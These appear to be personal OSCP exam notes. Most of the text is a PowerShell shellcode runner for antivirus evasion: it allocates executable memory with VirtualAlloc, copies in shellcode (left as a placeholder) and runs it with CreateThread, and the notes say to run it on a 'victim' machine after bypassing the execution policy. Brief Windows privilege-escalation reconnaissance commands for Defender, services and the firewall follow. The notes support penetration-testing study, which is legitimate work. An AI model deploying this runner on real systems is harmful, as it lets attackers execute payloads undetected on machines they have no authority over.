As these are my OSCP notes, and AV Evasion is outside the scope of the exam, I’m mostly leaving this content out of the guide for brevity. Below is a script for manual exploitation. It must be saved as an .ps1 file, transferred to the victim Windows machine, and ran (after powershell -ep bypass).

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = 
  Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

`$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };`

TCM Windows Privesc Notes

Service Control:

  • sc query windefend - checks Windows Defender
  • sc queryex type= service - shows all services running on the machine

Firewalls

  • check the netstat -ano to see what ports are open
  • netsh advfirewall firewall dump
  • netsh firewall show state
  • netsh firewall show config - just keep these in mind, but these should be automated when looking at automated tools